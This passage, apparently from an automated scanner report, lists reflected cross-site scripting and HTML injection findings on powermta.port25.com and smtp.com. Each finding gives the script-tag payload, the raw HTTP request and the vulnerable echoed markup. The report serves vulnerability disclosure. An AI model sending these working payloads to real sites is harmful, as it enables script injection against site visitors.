Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0c00"><script>alert(1)</script>7c31e38746c was submitted in the REST URL parameter 5. This input was echoed as b0c00\"><script>alert(1)</script>7c31e38746c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/scripts/rsv.jsb0c00"><script>alert(1)</script>7c31e38746c HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:51 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:52 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.jsb0c00\"><script>alert(1)</script>7c31e38746c" />
...[SNIP]...

2.142. http://www.powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/scripts/rsv.js

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43b7d"><script>alert(1)</script>e397849c24f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 43b7d\"><script>alert(1)</script>e397849c24f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/scripts/rsv.js?43b7d"><script>alert(1)</script>e397849c24f=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:14 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:14 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24867

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/scripts/rsv.js?43b7d\"><script>alert(1)</script>e397849c24f=1" />
...[SNIP]...

2.143. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/style.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f351"><script>alert(1)</script>28071f3cb40 was submitted in the REST URL parameter 1. This input was echoed as 2f351\"><script>alert(1)</script>28071f3cb40 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content2f351"><script>alert(1)</script>28071f3cb40/themes/powermta1/style.css HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:37:40 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:37:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24859

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content2f351\"><script>alert(1)</script>28071f3cb40/themes/powermta1/style.css" />
...[SNIP]...

2.144. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/style.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94809"><script>alert(1)</script>17080239665 was submitted in the REST URL parameter 2. This input was echoed as 94809\"><script>alert(1)</script>17080239665 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes94809"><script>alert(1)</script>17080239665/powermta1/style.css HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:47 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:48 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24859

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes94809\"><script>alert(1)</script>17080239665/powermta1/style.css" />
...[SNIP]...

2.145. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/style.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4afd"><script>alert(1)</script>e37f767f8b5 was submitted in the REST URL parameter 3. This input was echoed as d4afd\"><script>alert(1)</script>e37f767f8b5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1d4afd"><script>alert(1)</script>e37f767f8b5/style.css HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:55 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:38:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24859

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1d4afd\"><script>alert(1)</script>e37f767f8b5/style.css" />
...[SNIP]...

2.146. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/style.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c7a7"><script>alert(1)</script>03c8408a26e was submitted in the REST URL parameter 4. This input was echoed as 7c7a7\"><script>alert(1)</script>03c8408a26e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/style.css7c7a7"><script>alert(1)</script>03c8408a26e HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:38:59 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:39:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24859

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/style.css7c7a7\"><script>alert(1)</script>03c8408a26e" />
...[SNIP]...

2.147. http://www.powermta.port25.com/wp-content/themes/powermta1/style.css [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/wp-content/themes/powermta1/style.css

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b733"><script>alert(1)</script>1511c1ac9a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2b733\"><script>alert(1)</script>1511c1ac9a1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wp-content/themes/powermta1/style.css?2b733"><script>alert(1)</script>1511c1ac9a1=1 HTTP/1.1
Host: www.powermta.port25.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69

Response

HTTP/1.1 404 Not Found
Date: Fri, 16 Sep 2011 15:36:53 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 15:36:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 24862

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...
<input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/style.css?2b733\"><script>alert(1)</script>1511c1ac9a1=1" />
...[SNIP]...

2.148. http://www.smtp.com/ [gclid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/

Issue detail

The value of the gclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d7cf"><script>alert(1)</script>19af489f11d was submitted in the gclid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ3d7cf"><script>alert(1)</script>19af489f11d HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:27:27 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "a50ffb196bddf0f910fefaa92e9d5b5d"
X-Runtime: 2562
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 31572

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ3d7cf"><script>alert(1)</script>19af489f11d">
...[SNIP]...

2.149. http://www.smtp.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a671"><script>alert(1)</script>d486a6c61a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ&4a671"><script>alert(1)</script>d486a6c61a9=1 HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:27:35 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "d9e3ea2c163de73554d3d63f269363a9"
X-Runtime: 2768
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 31608

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ&4a671"><script>alert(1)</script>d486a6c61a9=1">
...[SNIP]...

2.150. http://www.smtp.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.smtp.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f5d2"><a>09058fec952 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.ico9f5d2"><a>09058fec952 HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.1.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 16 Sep 2011 15:27:58 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 8416

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/favicon.ico9f5d2"><a>09058fec952">
...[SNIP]...

2.151. http://www.smtp.com/jackpot_config [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.smtp.com
Path:	/jackpot_config

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6feb5"><a>b032290a8ca was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /jackpot_config6feb5"><a>b032290a8ca?default=1000000 HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/smtpcom-jackpot-vert.swf?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.1.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 16 Sep 2011 15:29:03 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIjJodHRwOi8vd3d3LnNtdHAuY29tL3NtdHBjb20tamFja3BvdC12ZXJ0LnN3Zj86D3Nlc3Npb25faWQiJWUzZDYxYWRmOWJiMWQ4NTVjOWNjMzg1Y2ZhM2U3ODIw--fd32e95ec38334558e2f87ef3f923d0b313e0652; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 8644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/jackpot_config6feb5"><a>b032290a8ca?default=1000000">
...[SNIP]...

2.152. http://www.smtp.com/service-info [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.smtp.com
Path:	/service-info

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63dce"><a>8468ca3b1b7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /service-info63dce"><a>8468ca3b1b7 HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173546785.673105426.1316204863.1316204863.1316204863.1; __utmb=173546785.1.10.1316204863; __utmc=173546785; __utmz=173546785.1316204863.1.1.utmgclid=CJWNm_2JoqsCFSg1gwodCS0_kQ|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Fri, 16 Sep 2011 15:28:25 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIjpodHRwOi8vd3d3LnNtdHAuY29tLz9nY2xpZD1DSldObV8ySm9xc0NGU2cxZ3dvZENTMF9rUToPc2Vzc2lvbl9pZCIlMjRmOGYyYzQ2ZGFlYjk0OTgzZWI4MTRjZWNkNTZiMGY%3D--e179e22a639ed9356f6574f29195c6f4a2fd9781; path=/; HttpOnly
Cache-Control: no-cache
Content-Length: 8428

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<a class="en" href="/en/service-info63dce"><a>8468ca3b1b7">
...[SNIP]...

2.153. http://www.smtp.com/service-info [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/service-info

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ac3"><script>alert(1)</script>cb0b67d5058 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /service-info?29ac3"><script>alert(1)</script>cb0b67d5058=1 HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.smtp.com/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
